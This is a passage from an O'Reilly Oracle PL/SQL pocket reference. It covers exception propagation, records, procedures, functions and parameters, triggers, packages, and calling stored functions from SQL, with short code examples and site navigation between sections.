The scope of an exception section is that portion of the code that is "covered" by the exception section. An exception handler will only handle or attempt to handle exceptions raised in the executable section of the PL/SQL block. Exceptions raised in the declaration or exception sections are automatically passed to the outer block. Any line or set of PL/SQL code can be placed inside its own block and given its own exception section. This allows you to limit the propagation of an exception.

1.10.4 Propagation

Exceptions raised in a PL/SQL block propagate to an outer block if they are unhandled or re-raised in the exception section. When an exception occurs, PL/SQL looks for an exception handler that checks for the exception (or is the WHEN OTHERS clause) in the current block. If a match is not found, then PL/SQL propagates the exception to the enclosing block or calling program. This propagation continues until the exception is handled or propagated out of the outermost block, back to the calling program. In this case, the exception is "unhandled" and (1) stops the calling program, and (2) causes an automatic rollback of any outstanding transactions.

Once an exception is handled, it will not propagate upward. If you want to trap an exception, display a meaningful error message, and have the exception propagate upward as an error, you must re-raise the exception. The RAISE statement can re-raise the current exception or raise a new exception:

PROCEDURE delete_dept(deptno_in IN NUMBER)
DECLARE
   still_have_employees EXCEPTION
   PRAGMA EXCEPTION_INIT(still_have_employees.
      -2292)
BEGIN
DELETE FROM dept
WHERE deptno = deptno_in;
EXCEPTION
   WHEN still_have_employees
   THEN
      DBMS_OUTPUT.PUT_LINE
('Please delete employees in dept first');
ROLLBACK;
RAISE;  /* Re-raise the current exception. */
END;

1.10.4.1 The WHEN OTHERS clause

EXCEPTION
   WHEN OTHERS
   THEN
      ...

Use the WHEN OTHERS clause in the exception handler as a catch-all to trap any exceptions that are not handled by specific WHEN clauses in the exception section. If present, this clause must be the last exception handler in the exception section.

1.10.4.2 SQLCODE and SQLERRM

SQLCODE and SQLERRM are built-in functions that provide the SQL error code and message for the current exception. Use these functions inside the exception section's WHEN OTHERS clause to handle specific errors by number. The EXCEPTION_INIT pragma allows you to handle errors by name.

CREATE TABLE err_test
   (widget_name   VARCHAR2(100)
   ,widget_count  NUMBER
   ,CONSTRAINT no_small_numbers CHECK
      (widget_count > 1000));
BEGIN
   INSERT INTO err_test (widget_name, widget_count)
   VALUES ('Athena',2);
EXCEPTION
   WHEN OTHERS THEN
   IF SQLCODE = -2290
      AND SQLERRM LIKE '%NO_SMALL_NUMBERS%'
   THEN
      DBMS_OUTPUT.PUT_LINE('widget_count is too
         small');
   ELSE
      DBMS_OUTPUT.PUT_LINE('Exception not hooked,'
         ||'SQLcode='||SQLCODE);
      DBMS_OUTPUT.PUT_LINE(SQLERRM);
   END IF;
END;

Gives the output of:

widget_count is too small

The DBMS_UTILITY.FORMAT_ERROR_STACK and DBMS_UTILITY.FORMAT_CALL_STACK procedures can be used to capture the full error stack and call stack. See the O'Reilly & Associates book Oracle PL/SQL Built-in Packages for more information on DBMS_UTILITY.

1.10.4.3 Exceptions and DML

When an exception is raised in a PL/SQL block, it does not rollback your current transaction, even if the block itself issued an INSERT, UPDATE, or DELETE. You must issue your own ROLLBACK statement if you want to clean up your transaction due to the exception.

If your exception goes unhandled (propagates out of the outermost block), however, most host environments will then force an automatic, unqualified rollback of any outstanding changes in your session.

Previous: 1.9 Cursors in PL/SQL | Oracle PL/SQL Language Pocket Reference | Next: 1.11 Records in PL/SQL
1.9 Cursors in PL/SQL |  | 1.11 Records in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.11 Records in PL/SQL

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.11 Records in PL/SQL

A PL/SQL record is a data structure composed of multiple pieces of information called fields. To use a record, you must first define it and declare a variable of this type.

There are three types of records: table-based, cursor-based, and programmer-defined.

1.11.1 Declaring Records

You define and declare records either in the declaration section of a PL/SQL block, or globally, via a package specification.

You do not have to explicitly define table-based or cursor-based records, as they are implicitly defined with the same structure as a table or cursor. Variables of these types are declared via the %ROWTYPE attribute. The record's fields correspond to the table's columns or the columns in the SELECT list. For example:

DECLARE
   -- Declare table-based record for company table.
   comp_rec  company%ROWTYPE

   CURSOR comp_summary_cur IS
      SELECT C.company_id,SUM(S.gross_sales) gross
        FROM company C ,sales S
       WHERE C.company_id = S.company_id;

   -- Declare a cursor-based record.
   comp_summary_rec  comp_summary_cur%ROWTYPE;

Programmer-defined records must be explicitly defined in the PL/SQL block or a package specification with the TYPE statement. Variables of this type can then be declared:

DECLARE
   TYPE name_rectype IS RECORD(
      prefix       VARCHAR2(15)
      ,first_name  VARCHAR2(30)
      ,middle_name VARCHAR2(30)
      ,sur_name    VARCHAR2(30)
      ,suffix      VARCHAR2(10) );

   TYPE employee_rectype IS RECORD (
      emp_id       NUMBER(10) NOT NULL
      ,mgr_id      NUMBER(10)
      ,dept_no     dept.deptno%TYPE
      ,title       VARCHAR2(20)
      ,name        empname_rectype
      ,hire_date   DATE := SYSDATE
      ,fresh_out   BOOLEAN );

   -- Declare a variable of this type.
   new_emp_rec employee_rectype;
BEGIN

1.11.2 Referencing Fields of Records

Individual fields are referenced via dot notation:

record_name.field_name

For example:

employee.first_name

Individual fields within a record can be read from or written to. They can appear on either the left or right side of the assignment operator:

BEGIN
   insurance_start_date := new_emp_rec.hire_date +
      30;
   new_emp_rec.fresh_out := FALSE;
   ...

1.11.3 Record Assignment

An entire record can be assigned to another record of the same type, but one record cannot be compared to another record via Boolean operators. This is a valid assignment:

shipto_address_rec := customer_address_rec

This is not a valid comparison:

IF shipto_address_rec = customer_address_rec
THEN
   ...
END IF;

The individual fields of the records need to be compared instead.

Values can be assigned to records or to the fields within a record in four different ways:

  • The assignment operator can be used to assign a value to a field:

new_emp_rec.hire_date := SYSDATE;

  • You can SELECT INTO a whole record or the individual fields:

SELECT emp_id,dept,title,hire_date,college_recruit
  INTO new_emp_rec
  FROM emp
 WHERE surname = 'LI'

  • You can FETCH INTO a whole record or the individual fields:

FETCH emp_cur INTO new_emp_rec;
FETCH emp_cur INTO new_emp_rec.emp_id,
   new_emp_rec.name;

  • You can assign all of the fields of one record variable to another record variable of the same type:

    IF rehire THEN
    new_emp_rec := former_emp_rec;
ENDIF;

    This aggregate assignment technique works only for records declared with the same TYPE statement.

1.11.4 Nested Records

Nested records are records contained in fields that are records themselves. Nesting records is a powerful way to normalize data structures and hide complexity within PL/SQL programs. For example:

DECLARE
   -- Define a record.
   TYPE phone_rectype IS RECORD (
      area_code  VARCHAR2(3),
      exchange   VARCHAR2(3),
      phn_number VARCHAR2(4),
      extension  VARCHAR2(4));

   -- Define a record composed of records.
   TYPE contact_rectype IS RECORD (
      day_phone#  phone_rectype,
      eve_phone#  phone_rectype,
      cell_phone# phone_rectype);

-- Declare a variable for the nested record.
    auth_rep_info_rec contact_rectype;
BEGIN

Previous: 1.10 Exception Handling | Oracle PL/SQL Language Pocket Reference | Next: 1.12 Named Program Units
1.10 Exception Handling |  | 1.12 Named Program Units
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.12 Named Program Units

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.12 Named Program Units

The PL/SQL programming language allows you to create a variety of named program units (containers for code). They include:

Procedure

A program that executes one or more statements

Function

A program that returns a value

Package

A container for procedures, functions, and data structures

Triggers

Programs that execute in response to database changes

Object type

Oracle8's version of a SQL3 named row type; object types can contain member procedures and functions

1.12.1 Procedures

Procedures are program units that execute one or more statements and can receive or return zero or more values through their parameter lists. The syntax of a procedure is:

CREATE [OR REPLACE] PROCEDURE name
   [ (parameter [,parameter]) ]
   [AUTHID  CURRENT_USER | DEFINER ] -- Oracle8i
   [DETERMINISTIC]                   -- Oracle8i
IS | AS
   declaration_section
BEGIN
   executable_section
[EXCEPTION
   exception_section]
END [name];

A procedure is called as a standalone executable PL/SQL statement:

apply_discount(new_company_id, 0.15) --15% discount

1.12.2 Functions

Functions are program units that execute one or more statements and return a value through the RETURN clause. Functions can also receive or return zero or more values through their parameter lists. The syntax of a function is:

CREATE [OR REPLACE] FUNCTION name
   [ (parameter [,parameter]) ]
   RETURN return_datatype
   [AUTHID  CURRENT_USER | DEFINER ] -- Oracle8i
   [DETERMINISTIC]                   -- Oracle8i
   [PARALLEL_ENABLE]                 -- Oracle8i
IS | AS
   [declaration_section]
BEGIN
   executable_section
[EXCEPTION
   exception_section]
END [name];

A function must have at least one RETURN statement in the execution section. The RETURN clause in the function header specifies the datatype of the returned value.

See the Section 1.12.3.8, "Compiling stored PL/SQL programs " section for information on the key words OR REPLACE, AUTHID, DETERMINISTIC, and PARALLEL_ENABLE.

See the Section 1.12.3.9, "Privileges and stored PL/SQL " section for additional information on the key word AUTHID.

A function can be called anywhere an expression of the same type can be used. You can call a function:

  • In an assignment statement:

sales95 := tot_sales(1995,'C');

  • To set a default value:

DECLARE
    sales95 NUMBER DEFAULT tot_sales(1995,'C');
BEGIN

  • In a Boolean expression:

IF tot_sales(1995,'C') > 10000
THEN
...

  • In a SQL statement:

SELECT first_name ,surname
   FROM sellers
WHERE tot_sales(1995,'C') > 1000;

  • As an argument in another program unit's parameter list.

Here, for example, max_discount is a programmer-defined function and SYSDATE is a built-in function:

apply_discount(company_id, max_discount(SYSDATE));

1.12.3 Parameters

Procedures, functions, and cursors may have a parameter list. This list contains one or more parameters that allow you to pass information back and forth between the subprogram and the calling program. Each parameter is defined by its name, datatype, mode, and optional default value. The syntax for a parameter is:

parameter_name [mode] [NOCOPY] datatype
   [(:= | DEFAULT) value]

1.12.3.1 Datatype

The datatype can be any PL/SQL or programmer-defined datatype, but cannot be constrained by a size (NUMBER is valid, NUMBER(10) is not valid). The actual size of the parameter is determined from the calling program or via a %TYPE constraint.

CREATE OR REPLACE PROCEDURE empid_to_name
(in_id           emp.emp_id%TYPE -- Compiles OK.
,out_last_name   VARCHAR2        -- Compiles OK.
,out_first_name  VARCHAR2(10)    -- Won't compile.
) IS
...

The lengths of out_last_name and out_first_name are determined by the calling program:

DECLARE
   surname     VARCHAR2(10);
   first_name  VARCHAR2(10);
BEGIN
   empid_to_name(10, surname, first_name);
END;

1.12.3.2 Mode

The mode of a parameter specifies whether the parameter can be read from or written to, as shown in the following table.

Mode | Description | Parameter Usage
IN | Read-only | The value of the actual parameter can be referenced inside the program, but the parameter cannot be changed.
OUT | Write-only | The program can assign a value to the parameter, but the parameter's value cannot be referenced.
IN OUT | Read/write | The program can both reference (read) and modify (write) the parameter.

If the mode is not explicitly defined, it defaults to IN.

OUT parameters can be written to. In Oracle7, OUT parameters can appear only on the left side of an assignment operation. In Oracle8 and above, OUT parameters are read/write and hence can appear on either side of an assignment. If an exception is raised during execution of a procedure or function, assignments made to OUT or IN OUT parameters get rolled back.

The NOCOPY (Oracle8i) compiler hint for parameters makes the parameter a call by reference instead of a call by value. Normally, PL/SQL passes IN/OUT parameters by value -- a copy of the parameter is created for the subprogram. When parameter items get large, like collections or objects, the copy can eat memory and slow the processing. NOCOPY directs PL/SQL to pass the parameter by reference, using a pointer to the single copy of the parameter. The disadvantage of NOCOPY is that when an exception is raised during execution of a program that has modified an OUT or IN OUT parameter, the changes to the actual parameters are not rolled back because the parameters were passed by reference instead of being copied.

1.12.3.3 Default values

IN parameters can be given default values. If an IN parameter has a default value, then you do not need to supply an argument for that parameter when you call the program unit. It automatically uses the default value. For example:

CREATE OR REPLACE PROCEDURE hire_employee
(emp_id       IN VARCHAR2
,hire_date    IN DATE := SYSDATE
,company_id   IN NUMBER := 1
) IS
...

-- Example calls to the procedure.
-- Use two default values.
hire_employee(new_empno);
-- Use one default value.
hire_employee(new_empno,'12-Jan-1999');
-- Use non-trailing default value, named notation.
hire_employee(emp_id=>new_empno, comp_id=>12);

1.12.3.4 Parameter-passing notations

Formal parameters are the names that are declared in the header of a procedure or function. Actual parameters are the values or expressions placed in the parameter list when a procedure or function is called. In the empid_to_name example shown earlier in the Section 1.12.3.1, "Datatype" section, the actual parameters to the procedure are in_id, out_last_name, and out_first_name. The formal parameters used in the call to this procedure are 10, surname, and first_name.

PL/SQL lets you use either of two styles for passing arguments in parameter lists: positional or named notation.

Positional notation

This is the default. Each value in the list of arguments supplied in the program call is associated with the parameter in the corresponding position.

Named notation

This explicitly associates the argument value with its parameter by name (not position). When you use named notation, you can supply the arguments in any order and you can skip over IN arguments that have default values.

The call to the empid_to_name procedure is shown here with both notations:

BEGIN
   -- Implicit positional notation.
   empid_to_name(10, surname, first_name);

   -- Explicit named notation.
   empid_to_name(in_id=>10
      ,out_last_name=>surname
      ,out_first_name=>first_name);
END;

When calling stored functions from SQL, named notation is not supported.

1.12.3.5 Local program

A local program is a procedure or function that is defined in the declaration section of a PL/SQL block. The declaration of a local program must appear at the end of the declaration section, after the declarations of any types, records, cursors, variables, and exceptions. A program defined in a declaration section may only be referenced within that block's executable and exception sections. It is not defined outside that block.

The following program defines a local procedure and function:

PROCEDURE track_revenue
IS
   PROCEDURE calc_total (year_in IN INTEGER) IS
   BEGIN
      calculations here ...
   END;

   FUNCTION below_minimum (comp_id IN INTEGER)
      RETURN BOOLEAN
   IS
   BEGIN
      ...
   END;

Local programs may be overloaded with the same restrictions as overloaded packaged programs.

1.12.3.6 Program overloading

PL/SQL allows you to define two or more programs with the same name within any declaration section, including a package specification or body. This is called overloading. If two or more programs have the same name, they must be different in some other way so that the compiler can determine which program should be used.

Here is an example of overloaded programs in a built-in package specification:

PACKAGE DBMS_OUTPUT
IS
   PROCEDURE PUT_LINE (a VARCHAR2);
   PROCEDURE PUT_LINE (a NUMBER);
   PROCEDURE PUT_LINE (a DATE);
END;

Each PUT_LINE procedure is identical, except for the datatype of the parameter. That is enough difference for the compiler.

To overload programs successfully, one or more of the following conditions must be true:

  • Parameters must differ by datatype family (number, character, datetime, or Boolean).

  • The program type must be different (you can overload a function and a procedure of the same name and identical parameter list).

  • The numbers of parameters must be different.

You cannot overload programs if:

  • Only the datatypes of the functions' RETURN clauses are different.

  • Parameter datatypes are within the same family (CHAR and VARCHAR2, NUMBER and INTEGER, etc.).

  • Only the modes of the parameters are different.

1.12.3.7 Forward declarations

Programs must be declared before they can be used. PL/SQL supports mutual recursion, in which program A calls program B, whereupon program B calls program A. To implement this mutual recursion, you must use a forward declaration of the programs. This technique declares a program in advance of the program definition, thus making it available for other programs to use. The forward declaration is the program header up to the IS/AS keyword:

PROCEDURE perform_calc(year_in IN NUMBER)
IS
   /* Forward declaration for total_cost
      function. */
   FUNCTION total_cost (...) RETURN NUMBER;

   /* The net_profit function can now use
      total_cost. */
   FUNCTION net_profit(...) RETURN NUMBER
   IS
   BEGIN
      RETURN total_sales(...) - total_cost(...);
   END;

   /* The Total_cost function calls net_profit. */
   FUNCTION total_cost (...) RETURN NUMBER
   IS
   BEGIN
      IF net_profit(...) < 0
      THEN
         RETURN 0;
         ELSE
         RETURN...;
      END IF;
   END;
BEGIN /* procedure perform_calc */
   ...
END perform_calc;

1.12.3.8 Compiling stored PL/SQL programs

The following keywords are new with Oracle8i:

OR REPLACE

Used to rebuild an existing program unit, preserving its privileges.

AUTHID

Defines whether the program will execute with the privileges of, and resolve names like, the object owner (DEFINER), or as the user executing the function (CURRENT_USER). Prior to Oracle8i, only the built-in packages DBMS_SQL and DBMS_UTILITY executed as CURRENT_USER. The default AUTHID is DEFINER.

REPEATABLE

Required for functions and any dependent programs used in domain (application-defined) indexes.

DETERMINISTIC

Required for function-based indexes. A function is DETERMINISTIC if it does not meaningfully reference package variables or the database.

PARALLEL_ENABLED

Tells the optimizer that a function is safe for parallel execution. It replaces the statement:

PRAGMA RESTRICT REFERENCES (function_name, wnps,
    rnps, wnds, rnds);

1.12.3.9 Privileges and stored PL/SQL

Unless you're using an invoker's rights program in Oracle8i, roles cannot provide object or system privileges that can be used inside stored PL/SQL. You must have privileges granted directly to you for objects that, rather than owning, you reference in stored SQL or PL/SQL (procedures, functions, packages, triggers, and views). This restriction arises from the manner in which the database obtains privileges and checks for objects referenced from SQL.

Direct GRANT and REVOKE privileges cannot be different for two concurrent sessions of the same user, while roles can be disabled in only one session. Privileges are checked when stored PL/SQL is compiled, and since only GRANT and REVOKE privileges can be relied upon to remain enabled, they are the only privileges checked.

This direct GRANT restriction does not apply for anonymous PL/SQL blocks because such blocks are compiled at runtime when all privileges are known. It also does not apply for procedures and functions with the AUTHID of CURRENT_USER (Oracle8i).

Previous: 1.11 Records in PL/SQL | Oracle PL/SQL Language Pocket Reference | Next: 1.13 Triggers
1.11 Records in PL/SQL |  | 1.13 Triggers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.13 Triggers

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.13 Triggers

Triggers are programs that execute in response to changes in table data or certain database events. There is a predefined set of events that can be "hooked" with a trigger, enabling you to integrate your own processing with that of the database. A triggering event fires or executes the trigger.

1.13.1 Creating Triggers

The syntax for creating a trigger is:

BEFORE | AFTER | INSTEAD OF trigger_event
   ON
   [ NESTED TABLE nested_table_column OF view ]
      | table_or_view_reference | DATABASE
trigger_body;

INSTEAD OF triggers are valid on only Oracle8 views. Oracle8i must create a trigger on a nested table column.

Trigger events are defined in the following table.

Trigger Event | Description
INSERT | Fires whenever a row is added to the table_reference.
UPDATE | Fires whenever an UPDATE changes the table_reference. UPDATE triggers can additionally specify an OF clause to restrict firing to updates OF certain columns. See the following examples.
DELETE | Fires whenever a row is deleted from the table_reference. Does not fire on TRUNCATE of the table.
CREATE (Oracle8i) | Fires whenever a CREATE statement adds a new object to the database. In this context, objects are things like tables or packages (found in ALL_OBJECTS). Can apply to a single schema or the entire database.
ALTER (Oracle8i) | Fires whenever an ALTER statement changes a database object. In this context, objects are things like tables or packages (found in ALL_OBJECTS). Can apply to single schema or the entire database.
DROP (Oracle8i) | Fires whenever a DROP statement removes an object from the database. In this context, objects are things like tables or packages (found in ALL_OBJECTS). Can apply to a single schema or the entire database.
SERVERERROR (Oracle8i) | Fires whenever a server error message is logged. Only AFTER triggers are allowed in this context.
LOGON (Oracle8i) | Fires whenever a session is created (a user connects to the database). Only AFTER triggers are allowed in this context.
LOGOFF (Oracle8i) | Fires whenever a session is terminated (a user disconnects from the database). Only BEFORE triggers are allowed in this context.
STARTUP (Oracle8i) | Fires when the database is opened. Only AFTER triggers are allowed in this context.
SHUTDOWN (Oracle8i) | Fires when the database is closed. Only BEFORE triggers are allowed in this context.

Triggers can fire BEFORE or AFTER the triggering event. AFTER data triggers are slightly more efficient than BEFORE triggers.

The referencing_clause is only allowed for the data events INSERT, UPDATE, and DELETE. It lets you give a non-default name to the old and new pseudo-records. These pseudo-records give the program visibility to the pre- and post-change values in row-level triggers. These records are defined like %ROWTYPE records, except that columns of type LONG or LONG RAW cannot be referenced. They are prefixed with a colon in the trigger body, and referenced with dot notation. Unlike other records, these fields can only be assigned individually -- aggregate assignment is not allowed. All old fields are NULL within INSERT triggers, and all new fields are NULL within DELETE triggers.

FOR EACH ROW defines the trigger to be a row-level trigger. Row-level triggers fire once for each row affected. The default is a statement-level trigger, which fires only once for each triggering statement.

The WHEN trigger_condition specifies the conditions that must be met for the trigger to fire. Stored functions and object methods are not allowed in the trigger condition.

The trigger body is a standard PL/SQL block. For example:

CREATE OR REPLACE TRIGGER add_uid
   BEFORE INSERT ON emp
   REFERENCING NEW as new_row
   FOR EACH ROW
   BEGIN
      -- Automatically timestamp the entry.
      SELECT SYSDATE INTO :new_row.entry_date
         FROM dual;
END add_uid;

Triggers are enabled on creation, and can be disabled (so they do not fire) with an ALTER statement:

ALTER TRIGGER trigger_name ENABLE | DISABLE;

ALTER TABLE table_name ENABLE | DISABLE ALL
   TRIGGERS;

1.13.2 Trigger Predicates

When using a single trigger for multiple events, use the trigger predicates INSERTING, UPDATING, and DELETING in the trigger condition to identify the triggering event:

CREATE OR REPLACE TRIGGER emp_log_t
   AFTER INSERT OR UPDATE OR DELETE ON emp
   FOR EACH ROW
DECLARE
   dmltype  CHAR(1);
BEGIN
   IF INSERTING THEN
      dmltype := 'I';
      INSERT INTO emp_log (emp_no, who, operation)
         VALUES (:new.empno, USER, dmltype);
   ELSIF UPDATING  THEN
      dmltype := 'U';
      INSERT INTO emp_log (emp_no, who, operation)
         VALUES (:new.empno, USER, dmltype);
   END IF;
END;

1.13.3 DML Events

The DML events include INSERT, UPDATE, or DELETE statements on a table or view. Triggers on these events can be statement- (table only) or row-level triggers and can fire BEFORE or AFTER the triggering event. BEFORE triggers can modify the data in affected rows, but perform an additional logical read. AFTER triggers do not perform this additional logical read, and therefore perform slightly better, but are not able to change the :new values. Triggers cannot be created on SYS-owned objects. The order in which these triggers fire, if present, is as follows:

  1. BEFORE statement-level trigger

  2. For each row affected by the statement:

    1. BEFORE row-level trigger

    2. The triggering statement

    3. AFTER row-level trigger

  3. AFTER statement-level trigger

1.13.4 DDL Events (Oracle8i)

The DDL events are CREATE, ALTER, and DROP. These triggers fire whenever the respective DDL statement is executed. DDL triggers can apply to either a single schema or the entire database.

1.13.5 Database Events (Oracle8i)

The database events are SERVERERROR, LOGON, LOGOFF, STARTUP, and SHUTDOWN. Only BEFORE triggers are allowed for LOGOFF and SHUTDOWN events. Only AFTER triggers are allowed for LOGON, STARTUP, and SERVERERROR events. A SHUTDOWN trigger will fire on a SHUTDOWN NORMAL and a SHUTDOWN IMMEDIATE, but not on a SHUTDOWN ABORT.

Previous: 1.12 Named Program Units | Oracle PL/SQL Language Pocket Reference | Next: 1.14 Packages
1.12 Named Program Units |  | 1.14 Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.14 Packages

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.14 Packages

A package is a collection of PL/SQL objects that are grouped together.

There are a number of benefits to using packages, including information hiding, object-oriented design, top-down design, object persistence across transactions, and improved performance.

Elements that can be placed in a package include procedures, functions, constants, variables, cursors, exception names, and TYPE statements (for index-by tables, records, REF CURSORs, etc.).

1.14.1 Overview of Package Structure

A package can have two parts: the specification and the body. The package specification is required and lists all the objects that are publicly available (may be referenced from outside the package) for use in applications. It also provides all the information a developer needs in order to use objects in the package; essentially, it is the package's API.

The package body contains all code needed to implement procedures, functions, and cursors listed in the specification, as well as any private objects (accessible only to other elements defined in that package), and an optional initialization section.

If a package specification does not contain any procedures or functions and no private code is needed, then that package does not need to have a package body.

The syntax for the package specification is:

CREATE [OR REPLACE] PACKAGE package_name
[ AUTHID CURRENT_USER | DEFINER ]   -- Oracle8i
IS | AS

   [definitions of public TYPEs
   ,declarations of public variables, types and
      objects
   ,declarations of exceptions
   ,pragmas
   ,declarations of cursors, procedures and
      functions
   ,headers of procedures and functions]

END [package_name];

The syntax for the package body is:

CREATE [OR REPLACE] PACKAGE BODY package_name
   IS | AS

   [definitions of private TYPEs
   ,declarations of private variables, types and
      objects
   ,full definitions of cursors
   ,full definitions of procedures and functions]

[BEGIN
   executable_statements

[EXCEPTION
   exception_handlers ] ]

END [package_name];

The optional OR REPLACE keywords are used to rebuild an existing package, preserving its privileges. The declarations in the specifications cannot be repeated in the body. Both the executable section and the exception section are optional in a package body. If the executable section is present, it is called the initialization section and executes only once -- the first time any package element is referenced during a session.

You must compile the package specification before the body specification. When you grant EXECUTE authority on a package to another schema or to PUBLIC, you are giving access only to the specification; the body remains hidden.

Here's an example of a package:

CREATE OR REPLACE PACKAGE time_pkg IS
   FUNCTION  GetTimestamp  RETURN DATE;
   PRAGMA RESTRICT_REFERENCES (GetTimestamp, WNDS);

   PROCEDURE ResetTimestamp;
END time_pkg;

CREATE OR REPLACE PACKAGE BODY time_pkg IS
   StartTimeStamp   DATE := SYSDATE;
   -- StartTimeStamp is package data.

   FUNCTION GetTimestamp RETURN DATE IS
   BEGIN
      RETURN StartTimeStamp;
   END GetTimestamp;

   PROCEDURE ResetTimestamp IS
   BEGIN
      StartTimeStamp := SYSDATE;
   END ResetTimestamp;

END time_pkg;

1.14.2 Referencing Package Elements

The elements declared in the specification are referenced from the calling application via dot notation:

package_name.package_element

For example, the built-in package DBMS_OUTPUT has a procedure PUT_LINE, so a call to this package would look like this:

DBMS_OUTPUT.PUT_LINE('This is parameter data');

1.14.3 Package Data

Data structures declared within a package specification or body, but outside any procedure or function in the package, are package data. The scope of package data is your entire session; it spans transaction boundaries, acting as globals for your programs.

Keep the following guidelines in mind as you work with package data:

  • The state of your package variables is not affected by COMMITs and ROLLBACKs.

  • A cursor declared in a package has global scope. It remains OPEN until you close it explicitly or your session ends.

  • A good practice is to hide your data structures in the package body and provide "get and set" programs to read and write that data. This technique protects your data.

1.14.3.1 The SERIALLY_REUSABLE pragma

If you need package data to exist only during a call to the packaged functions or procedures, and not between calls of the current session, you can save runtime memory by using the pragma SERIALLY_REUSABLE. After each call, PL/SQL closes the cursors and releases the memory used in the package. This technique is applicable only to large user communities executing the same routine. Normally, the database server's memory requirements grow linearly with the number of users; with SERIALLY_REUSABLE, this growth can be less than linear, since work areas for package states are kept in a pool in the SGA (System Global Area) and are shared among all users. This pragma must appear in both the specification and the body:

CREATE OR REPLACE PACKAGE my_pkg IS
   PRAGMA SERIALLY_REUSABLE;
   PROCEDURE foo;
END my_pkg;

CREATE OR REPLACE PACKAGE BODY my_pkg IS
   PRAGMA SERIALLY_REUSABLE;
   PROCEDURE foo IS
   ...
END my_pkg;

1.14.4 Package Initialization

The first time a user references a package element, the entire package is loaded into the SGA of the database instance to which the user is connected. That code is then shared by all sessions that have EXECUTE authority on the package.

Any package data are then instantiated into the session's UGA (User Global Area), a private area in either the SGA or PGA (Program Global Area). If the package body contains an initialization section, that code will be executed. The initialization section is optional and appears at the end of the package body, beginning with a BEGIN statement and ending with the EXCEPTION section (if present) or the END of the package.

The following package initialization section runs a query to transfer the user's minimum balance into a global package variable. Programs can then reference the packaged variable (via the function) to retrieve the balance, rather than executing the query repeatedly:

CREATE OR REPLACE PACKAGE usrinfo
IS
   FUNCTION minbal RETURN VARCHAR2;
END usrinfo;
/

CREATE OR REPLACE PACKAGE BODY usrinfo
IS
   g_minbal NUMBER; -- Package data
   FUNCTION minbal RETURN VARCHAR2
      IS BEGIN RETURN g_minbal; END;
BEGIN  -- Initialization section
   SELECT minimum_balance
      INTO g_minbal
      FROM user_configuration
      WHERE username = USER;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN g_minbal := NULL;
END usrinfo;

Previous: 1.13 Triggers | Oracle PL/SQL Language Pocket Reference | Next: 1.15 Calling PL/SQL Functions in SQL
1.13 Triggers |  | 1.15 Calling PL/SQL Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.15 Calling PL/SQL Functions in SQL

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Language Pocket ReferenceSearch this book

1.15 Calling PL/SQL Functions in SQL

Stored functions can be called from SQL statements in a manner similar to built-in functions like DECODE, NVL, or RTRIM. This is a powerful technique for incorporating business rules into SQL in a simple and elegant way. Unfortunately, there are a number of caveats and restrictions.

The most notable caveat is that stored functions executed from SQL are not guaranteed to follow the read consistency model of the database. Unless the SQL statement and any stored functions in that statement are in the same read-consistent transaction (even if they are read-only), each execution of the stored function will look at a different time-consistent set of data. To avoid this potential problem, you need to ensure read consistency programmatically by issuing the SET TRANSACTION READ ONLY or SET TRANSACTION SERIALIZABLE statement before executing your SQL statement containing the stored function. A COMMIT or ROLLBACK then needs to follow the SQL statement to end this read-consistent transaction.

1.15.1 Syntax for Calling Stored Functions in SQL

The syntax for calling a stored function from SQL is the same as referencing it from PL/SQL:

[schema_name.][pkg_name.]func_name[@db_link]
   [parm_list]

schema_name is optional and refers to the user/owner of the function or package. pkg_name is optional and refers to the package containing the called function. func_name is mandatory and is the function name. db_link is optional and refers to the database link name to the remote database containing the function. parm_list is optional, as are the parameters passed to the function.

The following are example calls to the GetTimestamp function in the time_pkg example seen earlier in the Section 1.14.1, "Overview of Package Structure " section:

-- Capture system events.
INSERT INTO v_sys_event (timestamp ,event
   ,qty_waits)
   SELECT time_pkg.GetTimestamp ,event ,total_waits
   FROM v$system_event

-- Capture system statistics.
INSERT INTO v_sys_stat (timestamp,stat#,value)
   SELECT time_pkg.GetTimestamp ,statistic# ,value
   FROM v$sysstat;

1.15.2 Requirements and Restrictions on Stored Functions in SQL

There are a number of requirements for calling stored functions in SQL:

  • The function must be a single-row function -- not one that operates on a column or group function.

  • All parameters must be IN; no IN OUT or OUT parameters are allowed.

  • The datatypes of the function's parameters and RETURN must be compatible with RDBMS datatypes. You cannot have arguments or RETURN types like BOOLEAN, programmer-defined record, index-by table, etc.

  • The parameters passed to the function must use positional notation; named notation is not supported.

